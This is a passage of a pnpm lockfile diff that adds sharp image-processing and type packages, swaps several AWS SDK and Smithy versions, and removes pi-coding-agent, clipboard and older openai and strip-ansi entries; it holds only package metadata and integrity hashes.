sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@img/sharp-libvips-linuxmusl-arm64@1.2.4': + resolution: {integrity: sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@img/sharp-libvips-linuxmusl-x64@1.2.4': + resolution: {integrity: sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==} + cpu: [x64] + os: [linux] + libc: [musl] + + '@img/sharp-linux-arm64@0.34.5': + resolution: {integrity: sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@img/sharp-linux-arm@0.34.5': + resolution: {integrity: sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm] + os: [linux] + libc: [glibc] + + '@img/sharp-linux-ppc64@0.34.5': + resolution: {integrity: sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [ppc64] + os: [linux] + libc: [glibc] + + '@img/sharp-linux-riscv64@0.34.5': + resolution: {integrity: sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [riscv64] + os: [linux] + libc: [glibc] + + '@img/sharp-linux-s390x@0.34.5': + resolution: {integrity: sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [s390x] + os: [linux] + libc: [glibc] + + '@img/sharp-linux-x64@0.34.5': + resolution: {integrity: sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@img/sharp-linuxmusl-arm64@0.34.5': + resolution: {integrity: sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@img/sharp-linuxmusl-x64@0.34.5': + resolution: {integrity: sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [linux] + libc: [musl] + + '@img/sharp-wasm32@0.34.5': + resolution: {integrity: sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [wasm32] + + '@img/sharp-win32-arm64@0.34.5': + resolution: {integrity: sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [win32] + + '@img/sharp-win32-ia32@0.34.5': + resolution: {integrity: sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [ia32] + os: [win32] + + '@img/sharp-win32-x64@0.34.5': + resolution: {integrity: sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [win32] + '@isaacs/fs-minipass@4.0.1': resolution: {integrity: sha512-wgm9Ehl2jpeqP3zw/7mo3kRHFp5MEDhqAdwy1fTGkHAwnkGOVsgpvQhL8B5n1qlb01jV3n/bI0ZfZp5lWA1k4w==} engines: {node: '>=18.0.0'} @@ -2728,74 +2912,6 @@ packages: '@lydell/node-pty@1.2.0-beta.12': resolution: {integrity: sha512-qIK890UwPupoj07osVvgOIa++1mxeHbcGry4PKRHhNVNs81V2SCG34eJr46GybiOmBtc8Sj5PB1/GGM5PL549g==} - '@mariozechner/clipboard-darwin-arm64@0.3.6': - resolution: {integrity: sha512-HjaisYCAbHi/1+N1yDAQHc8ZXGffufIUT5NSOSVR3f3AuMDusxTtnbK8tZ7JFDkShua1oNGZoNwQHsc8MPtE0Q==} - engines: {node: '>= 10'} - cpu: [arm64] - os: [darwin] - - '@mariozechner/clipboard-darwin-universal@0.3.6': - resolution: {integrity: sha512-8BWtPjOtJOJoykml3w0fx0zRrfWP31mXrJwfoA7xzNprkZw1uolCNfgmjDiVBseoKjp16EGITz7bN+61qn8dWA==} - engines: {node: '>= 10'} - os: [darwin] - - '@mariozechner/clipboard-darwin-x64@0.3.6': - resolution: {integrity: sha512-p9syiZD1kU4I+1ya7f7g+zD1GiUvR8fdlRlNmgsZNWlyjtc8rlV2EjTLd/35x1LsdBq020GVvtzp0ZmPgBI09Q==} - engines: {node: '>= 10'} - cpu: [x64] - os: [darwin] - - '@mariozechner/clipboard-linux-arm64-gnu@0.3.6': - resolution: {integrity: sha512-5JFf5rGofrm+V29HNF+wLthXphHdQpMbKDUYJ5tML6/Z5DLlLOV/9Ak4kDPtYyZ+Dzf+kAusE0VsFg4+tfP1IA==} - engines: {node: '>= 10'} - cpu: [arm64] - os: [linux] - libc: [glibc] - - '@mariozechner/clipboard-linux-arm64-musl@0.3.6': - resolution: {integrity: sha512-JlVjxxw0GbGC0djXYWRIqyteO3J1KZ/QG3udlEFaOD5TLOM1FnmXXAPDQBqr+aBVr720ef9K00dirYnJ0LDCtw==} - engines: {node: '>= 10'} - cpu: [arm64] - os: [linux] - libc: [musl] - - '@mariozechner/clipboard-linux-riscv64-gnu@0.3.6': - resolution: {integrity: sha512-4t8BUi5zZ+L77otFQVnVSlaTyAX4TVk9EqQm4syMrEQp96trFEHEwwNHcNEBGzYv5+K7mxay50TthYkz47OWzQ==} - engines: {node: '>= 10'} - cpu: [riscv64] - os: [linux] - libc: [glibc] - - '@mariozechner/clipboard-linux-x64-gnu@0.3.6': - resolution: {integrity: sha512-trtPwcNLW37irwQCJLtCxLw757jjJZk3TSnY/MU9bhtWtA3K9b/eLW0e4RGhUXDoFRds9opNWWaUDuFLa8dm0w==} - engines: {node: '>= 10'} - cpu: [x64] - os: [linux] - libc: [glibc] - - '@mariozechner/clipboard-linux-x64-musl@0.3.6': - resolution: {integrity: sha512-WfnzIvOCCWQiN0MmltCEo6cLceUDbYe+I7xyFZjaps5A+2Op/M2CY7Rey+C4ucQhrvmpoHmTSFgY9ODWk7snoA==} - engines: {node: '>= 10'} - cpu: [x64] - os: [linux] - libc: [musl] - - '@mariozechner/clipboard-win32-arm64-msvc@0.3.6': - resolution: {integrity: sha512-+8+1aHYsBPUjmW3otmWlg+Hijt0iJvoBBs5e0mxFeUd4gDaKMB8Bn6x7c6KVtscg7E5j5NFXnwQqNSIAO4p8zQ==} - engines: {node: '>= 10'} - cpu: [arm64] - os: [win32] - - '@mariozechner/clipboard-win32-x64-msvc@0.3.6': - resolution: {integrity: sha512-S4xfPmERC8ZkiLHe3vekZCjdDwNEETCuvCgQK2kP6/TnvmUkq1y2Pk+DjM4t8uh9KMX9bH4zs5ePcKa8GTXmfg==} - engines: {node: '>= 10'} - cpu: [x64] - os: [win32] - - '@mariozechner/clipboard@0.3.6': - resolution: {integrity: sha512-MXdtr+6+ntlIVHdrZYuZNQydu6o8yZswFJ2Ln81j2O/Y9B/LDHvEaIm95xWNPkjGTWriSOeLnQJRFs6dYb60bg==} - engines: {node: '>= 10'} - '@matrix-org/matrix-sdk-crypto-nodejs@0.4.0': resolution: {integrity: sha512-+qqgpn39XFSbsD0dFjssGO9vHEP7sTyfs8yTpt8vuqWpUpF20QMwpCZi0jpYw7GxjErNTsMshopuo8677DfGEA==} engines: {node: '>= 22'} @@ -3716,10 +3832,6 @@ packages: resolution: {integrity: sha512-TpS6Am5zSEtx3ow7VynThEL7UwRM06zZZcmFaP6Ij9hqKPfsFhTYCLcgU7gjFjw9QAI2kzwXrfS7InH8BivJTA==} engines: {node: '>=18.0.0'} - '@smithy/core@3.24.3': - resolution: {integrity: sha512-Ep/7tPamGY8mgESE3LyLKtxJyy6U52WWAqr/3wial47Sj4u3PiIF73AOGI27UyLy9duTkhZbgzodOfLV4TduZg==} - engines: {node: '>=18.0.0'} - '@smithy/core@3.24.4': resolution: {integrity: sha512-3UNRKEyQyAgVgM0LGlerCLm+ChZWZ1GPfde+jBEW6bm6bSBGU1p0EbblaUV3unbhwvidjLA5Zs3sOs7mnZwvAw==} engines: {node: '>=18.0.0'} @@ -3756,10 +3868,6 @@ packages: resolution: {integrity: sha512-/jPhevcTFPMVl6KNjbaI47iOg1zxC7IsnX4PQDGVZKMFceOXtB8IEYaB7a9VvkP/3oC60WzTeKocvSI7vLT0vA==} engines: {node: '>=18.0.0'} - '@smithy/node-http-handler@4.7.4': - resolution: {integrity: sha512-HIeF+1vrDGzPkkv39Hj2vlHSXHY3p958jd/8ZnePIY6+ZOsQX8coyEUKO5yQu4r0bQIVsbpotVIrXXwyycMStQ==} - engines: {node: '>=18.0.0'} - '@smithy/protocol-http@5.4.3': resolution: {integrity: sha512-P16TBD/d8ZcD9MHQ0ubQ9BbOYSd5HZKbHOLsyFWxKk2oBEoghbRFPfGOoqToZX1yrfLITXRylL16EyPP4IzLPg==} engines: {node: '>=18.0.0'} @@ -3972,6 +4080,9 @@ packages: '@types/connect@3.4.38': resolution: {integrity: sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==} + '@types/cross-spawn@6.0.6': + resolution: {integrity: sha512-fXRhhUkG4H3TQk5dBhQ7m/JDdSNHKwR2BBia62lhwEIq9xGiQKLxd6LymNhn47SjXhsUEPmxi+PKw2OkW4LLjA==} + '@types/debug@4.1.13': resolution: {integrity: sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw==} @@ -3996,6 +4107,9 @@ packages: '@types/hast@3.0.4': resolution: {integrity: sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==} + '@types/hosted-git-info@3.0.5': + resolution: {integrity: sha512-Dmngh7U003cOHPhKGyA7LWqrnvcTyILNgNPmNCxlx7j8MIi54iBliiT8XqVLIQ3GchoOjVAyBzNJVyuaJjqokg==} + '@types/http-errors@2.0.5': resolution: {integrity: sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==} @@ -4032,6 +4146,9 @@ packages: '@types/node@25.9.1': resolution: {integrity: sha512-xfrlY7UD5rMJk3ZVJP8BNzS28J36YJg+xp+LPXV1TdWxr8uMH5A860QNxYDGQe/ylDSgjxE52Q9VnO7p75tJxg==} + '@types/proper-lockfile@4.1.4': + resolution: {integrity: sha512-uo2ABllncSqg9F1D4nugVl9v93RmjxF6LJzQLMLDdPaXCUIDPeOJ21Gbqi43xNKzBi/WQ0Q0dICqufzQbMjipQ==} + '@types/qs@6.15.1': resolution: {integrity: sha512-GZHUBZR9hckSUhrxmp1nG6NwdpM9fCunJwyThLW1X3AyHgd9IlHb6VANpQQqDr2o/qQp6McZ3y/IA2rVzKzSbw==} @@ -4280,10 +4397,6 @@ packages: resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} engines: {node: '>=8'} - ansi-regex@6.2.2: - resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} - engines: {node: '>=12'} - ansi-styles@4.3.0: resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} engines: {node: '>=8'} @@ -5986,18 +6099,6 @@ packages: resolution: {integrity: sha512-YgBpdJHPyQ2UE5x+hlSXcnejzAvD0b22U2OuAP+8OnlJT+PjWPxtgmGqKKc+RgTM63U9gN0YzrYc71R2WT/hTA==} engines: {node: '>=18'} - openai@6.26.0: - resolution: {integrity: sha512-zd23dbWTjiJ6sSAX6s0HrCZi41JwTA1bQVs0wLQPZ2/5o2gxOJA5wh7yOAUgwYybfhDXyhwlpeQf7Mlgx8EOCA==} - hasBin: true - peerDependencies: - ws: ^8.18.0 - zod: ^3.25 || ^4.0 - peerDependenciesMeta: - ws: - optional: true - zod: - optional: true - openai@6.39.0: resolution: {integrity: sha512-O61LIsimY3acVabwvomwFhwrnN36yvHY2quIfy9keEcFytGgWeV35yLHQ6NVMLSBxRpHmcg2yuhCnlu2HT4pLQ==} hasBin: true @@ -6494,6 +6595,10 @@ packages: setprototypeof@1.2.0: resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==} + sharp@0.34.5: + resolution: {integrity: sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + shebang-command@2.0.0: resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} engines: {node: '>=8'} @@ -6640,10 +6745,6 @@ packages: resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} engines: {node: '>=8'} - strip-ansi@7.2.0: - resolution: {integrity: sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==} - engines: {node: '>=12'} - strip-final-newline@2.0.0: resolution: {integrity: sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==} engines: {node: '>=6'} @@ -7341,7 +7442,7 @@ snapshots: '@aws-sdk/types': 3.973.9 '@smithy/core': 3.24.4 '@smithy/fetch-http-handler': 5.4.4 - '@smithy/node-http-handler': 4.7.4 + '@smithy/node-http-handler': 4.7.3 '@smithy/types': 4.14.2 tslib: 2.8.1 @@ -7355,7 +7456,7 @@ snapshots: '@aws-sdk/types': 3.973.9 '@smithy/core': 3.24.4 '@smithy/fetch-http-handler': 5.4.4 - '@smithy/node-http-handler': 4.7.4 + '@smithy/node-http-handler': 4.7.3 '@smithy/types': 4.14.2 tslib: 2.8.1 @@ -7363,12 +7464,12 @@ snapshots: dependencies: '@aws-crypto/sha256-browser': 5.2.0 '@aws-crypto/sha256-js': 5.2.0 - '@aws-sdk/core': 3.974.13 + '@aws-sdk/core': 3.974.12 '@aws-sdk/credential-provider-node': 3.972.44 '@aws-sdk/types': 3.973.8 - '@smithy/core': 3.24.3 + '@smithy/core': 3.24.4 '@smithy/fetch-http-handler': 5.4.4 - '@smithy/node-http-handler': 4.7.4 + '@smithy/node-http-handler': 4.7.3 '@smithy/types': 4.14.2 tslib: 2.8.1 @@ -7389,10 +7490,21 @@ snapshots: '@aws-sdk/types': 3.973.9 '@smithy/core': 3.24.4 '@smithy/fetch-http-handler': 5.4.4 - '@smithy/node-http-handler': 4.7.4 + '@smithy/node-http-handler': 4.7.3 '@smithy/types': 4.14.2 tslib: 2.8.1 + '@aws-sdk/core@3.974.12': + dependencies: + '@aws-sdk/types': 3.973.9 + '@aws-sdk/xml-builder': 3.972.24 + '@aws/lambda-invoke-store': 0.2.4 + '@smithy/core': 3.24.4 + '@smithy/signature-v4': 5.4.3 + '@smithy/types': 4.14.2 + bowser: 2.14.1 + tslib: 2.8.1 + '@aws-sdk/core@3.974.13': dependencies: '@aws-sdk/types': 3.973.9 @@ -7411,9 +7523,17 @@ snapshots: '@aws-sdk/credential-provider-cognito-identity@3.972.35': dependencies: - '@aws-sdk/nested-clients': 3.997.11 + '@aws-sdk/nested-clients': 3.997.10 '@aws-sdk/types': 3.973.8 - '@smithy/core': 3.24.3 + '@smithy/core': 3.24.4 + '@smithy/types': 4.14.2 + tslib: 2.8.1 + + '@aws-sdk/credential-provider-env@3.972.38': + dependencies: + '@aws-sdk/core': 3.974.12 + '@aws-sdk/types': 3.973.8 + '@smithy/core': 3.24.4 '@smithy/types': 4.14.2 tslib: 2.8.1 @@ -7425,13 +7545,39 @@ snapshots: '@smithy/types': 4.14.2 tslib: 2.8.1 + '@aws-sdk/credential-provider-http@3.972.40': + dependencies: + '@aws-sdk/core': 3.974.12 + '@aws-sdk/types': 3.973.8 + '@smithy/core': 3.24.4 + '@smithy/fetch-http-handler': 5.4.4 + '@smithy/node-http-handler': 4.7.3 + '@smithy/types': 4.14.2 + tslib: 2.8.1 + '@aws-sdk/credential-provider-http@3.972.41': dependencies: '@aws-sdk/core': 3.974.13 '@aws-sdk/types': 3.973.9 '@smithy/core': 3.24.4 '@smithy/fetch-http-handler': 5.4.4 - '@smithy/node-http-handler': 4.7.4 + '@smithy/node-http-handler': 4.7.3 + '@smithy/types': 4.14.2 + tslib: 2.8.1 + + '@aws-sdk/credential-provider-ini@3.972.42': + dependencies: + '@aws-sdk/core': 3.974.12 + '@aws-sdk/credential-provider-env': 3.972.38 + '@aws-sdk/credential-provider-http': 3.972.40 + '@aws-sdk/credential-provider-login': 3.972.42 + '@aws-sdk/credential-provider-process': 3.972.38 + '@aws-sdk/credential-provider-sso': 3.972.42 + '@aws-sdk/credential-provider-web-identity': 3.972.42 + '@aws-sdk/nested-clients': 3.997.10 + '@aws-sdk/types': 3.973.8 + '@smithy/core': 3.24.4 + '@smithy/credential-provider-imds': 4.3.3 '@smithy/types': 4.14.2 tslib: 2.8.1 @@ -7451,6 +7597,15 @@ snapshots: '@smithy/types': 4.14.2 tslib: 2.8.1 + '@aws-sdk/credential-provider-login@3.972.42': + dependencies: + '@aws-sdk/core': 3.974.12 + '@aws-sdk/nested-clients': 3.997.10 + '@aws-sdk/types': 3.973.8 + '@smithy/core': 3.24.4 + '@smithy/types': 4.14.2 + tslib: 2.8.1 + '@aws-sdk/credential-provider-login@3.972.43': dependencies: '@aws-sdk/core': 3.974.13 @@ -7474,6 +7629,14 @@ snapshots: '@smithy/types': 4.14.2 tslib: 2.8.1 + '@aws-sdk/credential-provider-process@3.972.38': + dependencies: + '@aws-sdk/core': 3.974.12 + '@aws-sdk/types': 3.973.8 + '@smithy/core': 3.24.4 + '@smithy/types': 4.14.2 + tslib: 2.8.1 + '@aws-sdk/credential-provider-process@3.972.39': dependencies: '@aws-sdk/core': 3.974.13 @@ -7482,16 +7645,35 @@ snapshots: '@smithy/types': 4.14.2 tslib: 2.8.1 + '@aws-sdk/credential-provider-sso@3.972.42': + dependencies: + '@aws-sdk/core': 3.974.12 + '@aws-sdk/nested-clients': 3.997.10 + '@aws-sdk/token-providers': 3.1049.0 + '@aws-sdk/types': 3.973.8 + '@smithy/core': 3.24.4 + '@smithy/types': 4.14.2 + tslib: 2.8.1 + '@aws-sdk/credential-provider-sso@3.972.43': dependencies: '@aws-sdk/core': 3.974.13 '@aws-sdk/nested-clients': 3.997.11 - '@aws-sdk/token-providers': 3.1053.0 + '@aws-sdk/token-providers': 3.1052.0 '@aws-sdk/types': 3.973.9 '@smithy/core': 3.24.4 '@smithy/types': 4.14.2 tslib: 2.8.1 + '@aws-sdk/credential-provider-web-identity@3.972.42': + dependencies: + '@aws-sdk/core': 3.974.12 + '@aws-sdk/nested-clients': 3.997.10 + '@aws-sdk/types': 3.973.8 + '@smithy/core': 3.24.4 + '@smithy/types': 4.14.2 + tslib: 2.8.1 + '@aws-sdk/credential-provider-web-identity@3.972.43': dependencies: '@aws-sdk/core': 3.974.13 @@ -7504,19 +7686,19 @@ snapshots: '@aws-sdk/credential-providers@3.1051.0': dependencies: '@aws-sdk/client-cognito-identity': 3.1051.0 - '@aws-sdk/core': 3.974.13 + '@aws-sdk/core': 3.974.12 '@aws-sdk/credential-provider-cognito-identity': 3.972.35 - '@aws-sdk/credential-provider-env': 3.972.39 - '@aws-sdk/credential-provider-http': 3.972.41 - '@aws-sdk/credential-provider-ini': 3.972.43 - '@aws-sdk/credential-provider-login': 3.972.43 + '@aws-sdk/credential-provider-env': 3.972.38 + '@aws-sdk/credential-provider-http': 3.972.40 + '@aws-sdk/credential-provider-ini': 3.972.42 + '@aws-sdk/credential-provider-login': 3.972.42 '@aws-sdk/credential-provider-node': 3.972.44 - '@aws-sdk/credential-provider-process': 3.972.39 - '@aws-sdk/credential-provider-sso': 3.972.43 - '@aws-sdk/credential-provider-web-identity': 3.972.43 - '@aws-sdk/nested-clients': 3.997.11 + '@aws-sdk/credential-provider-process': 3.972.38 + '@aws-sdk/credential-provider-sso': 3.972.42 + '@aws-sdk/credential-provider-web-identity': 3.972.42 + '@aws-sdk/nested-clients': 3.997.10 '@aws-sdk/types': 3.973.8 - '@smithy/core': 3.24.3 + '@smithy/core': 3.24.4 '@smithy/credential-provider-imds': 4.3.3 '@smithy/types': 4.14.2 tslib: 2.8.1 @@ -7594,6 +7776,19 @@ snapshots: '@smithy/types': 4.14.2 tslib: 2.8.1 + '@aws-sdk/nested-clients@3.997.10': + dependencies: + '@aws-crypto/sha256-browser': 5.2.0 + '@aws-crypto/sha256-js': 5.2.0 + '@aws-sdk/core': 3.974.12 + '@aws-sdk/signature-v4-multi-region': 3.996.28 + '@aws-sdk/types': 3.973.8 + '@smithy/core': 3.24.4 + '@smithy/fetch-http-handler': 5.4.4 + '@smithy/node-http-handler': 4.7.3 + '@smithy/types': 4.14.2 + tslib: 2.8.1 + '@aws-sdk/nested-clients@3.997.11': dependencies: '@aws-crypto/sha256-browser': 5.2.0 @@ -7603,7 +7798,7 @@ snapshots: '@aws-sdk/types': 3.973.9 '@smithy/core': 3.24.4 '@smithy/fetch-http-handler': 5.4.4 - '@smithy/node-http-handler': 4.7.4 + '@smithy/node-http-handler': 4.7.3 '@smithy/types': 4.14.2 tslib: 2.8.1 @@ -7624,6 +7819,24 @@ snapshots: '@smithy/types': 4.14.2 tslib: 2.8.1 + '@aws-sdk/token-providers@3.1049.0': + dependencies: + '@aws-sdk/core': 3.974.12 + '@aws-sdk/nested-clients': 3.997.10 + '@aws-sdk/types': 3.973.8 + '@smithy/core': 3.24.4 + '@smithy/types': 4.14.2 + tslib: 2.8.1 + + '@aws-sdk/token-providers@3.1052.0': + dependencies: + '@aws-sdk/core': 3.974.13 + '@aws-sdk/nested-clients': 3.997.11 + '@aws-sdk/types': 3.973.9 + '@smithy/core': 3.24.4 + '@smithy/types': 4.14.2 + tslib: 2.8.1 + '@aws-sdk/token-providers@3.1053.0': dependencies: '@aws-sdk/core': 3.974.13 @@ -7645,13 +7858,20 @@ snapshots: '@aws-sdk/util-format-url@3.972.14': dependencies: - '@aws-sdk/core': 3.974.13 + '@aws-sdk/core': 3.974.12 tslib: 2.8.1 '@aws-sdk/util-locate-window@3.965.5': dependencies: tslib: 2.8.1 + '@aws-sdk/xml-builder@3.972.24': + dependencies: + '@nodable/entities': 2.1.0 + '@smithy/types': 4.14.2 + fast-xml-parser: 5.7.0 + tslib: 2.8.1 + '@aws-sdk/xml-builder@3.972.25': dependencies: '@nodable/entities': 2.1.0 @@ -7951,70 +8171,6 @@ snapshots: - opusscript - utf-8-validate - '@earendil-works/pi-agent-core@0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3)': - dependencies: - '@earendil-works/pi-ai': 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) - ignore: 7.0.5 - typebox: 1.1.38 - yaml: 2.9.0 - transitivePeerDependencies: - - '@modelcontextprotocol/sdk' - - bufferutil - - supports-color - - utf-8-validate - - ws - - zod - - '@earendil-works/pi-ai@0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3)': - dependencies: - '@anthropic-ai/sdk': 0.98.0(zod@4.4.3) - '@aws-sdk/client-bedrock-runtime': 3.1053.0 - '@google/genai': 1.52.0(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3)) - '@mistralai/mistralai': 2.2.1 - '@smithy/node-http-handler': 4.7.3 - http-proxy-agent: 7.0.2 - https-proxy-agent: 7.0.6 - openai: 6.26.0(ws@8.21.0)(zod@4.4.3) - partial-json: 0.1.7 - typebox: 1.1.38 - transitivePeerDependencies: - - '@modelcontextprotocol/sdk' - - bufferutil - - supports-color - - utf-8-validate - - ws - - zod - - '@earendil-works/pi-coding-agent@0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3)': - dependencies: - '@earendil-works/pi-agent-core': 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) - '@earendil-works/pi-ai': 0.75.5(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))(ws@8.21.0)(zod@4.4.3) - '@earendil-works/pi-tui': 0.75.5 - '@silvia-odwyer/photon-node': 0.3.4 - chalk: 5.6.2 - cross-spawn: 7.0.6 - diff: 8.0.4 - glob: 13.0.6 - highlight.js: 10.7.3 - hosted-git-info: 9.0.3 - ignore: 7.0.5 - jiti: 2.7.0 - minimatch: 10.2.5 - proper-lockfile: 4.1.2 - strip-ansi: 7.2.0 - typebox: 1.1.38 - undici: 8.3.0 - yaml: 2.9.0 - optionalDependencies: - '@mariozechner/clipboard': 0.3.6 - transitivePeerDependencies: - - '@modelcontextprotocol/sdk' - - bufferutil - - supports-color - - utf-8-validate - - ws - - zod - '@earendil-works/pi-tui@0.75.5': dependencies: get-east-asian-width: 1.6.0 @@ -8120,19 +8276,6 @@ snapshots: optionalDependencies: '@noble/hashes': 2.0.1 - '@google/genai@1.52.0(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))': - dependencies: - google-auth-library: 10.6.2 - p-retry: 4.6.2 - protobufjs: 8.4.0 - ws: 8.21.0 - optionalDependencies: - '@modelcontextprotocol/sdk': 1.29.0(zod@4.4.3) - transitivePeerDependencies: - - bufferutil - - supports-color - - utf-8-validate - '@google/genai@2.6.0(@modelcontextprotocol/sdk@1.29.0(zod@4.4.3))': dependencies: google-auth-library: 10.6.2 @@ -8189,6 +8332,103 @@ snapshots: dependencies: hono: 4.12.18 + '@img/colour@1.1.0': + optional: true + + '@img/sharp-darwin-arm64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-darwin-arm64': 1.2.4 + optional: true + + '@img/sharp-darwin-x64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-darwin-x64': 1.2.4 + optional: true + + '@img/sharp-libvips-darwin-arm64@1.2.4': + optional: true + + '@img/sharp-libvips-darwin-x64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-arm64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-arm@1.2.4': + optional: true + + '@img/sharp-libvips-linux-ppc64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-riscv64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-s390x@1.2.4': + optional: true + + '@img/sharp-libvips-linux-x64@1.2.4': + optional: true + + '@img/sharp-libvips-linuxmusl-arm64@1.2.4': + optional: true + + '@img/sharp-libvips-linuxmusl-x64@1.2.4': + optional: true + + '@img/sharp-linux-arm64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-arm64': 1.2.4 + optional: true + + '@img/sharp-linux-arm@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-arm': 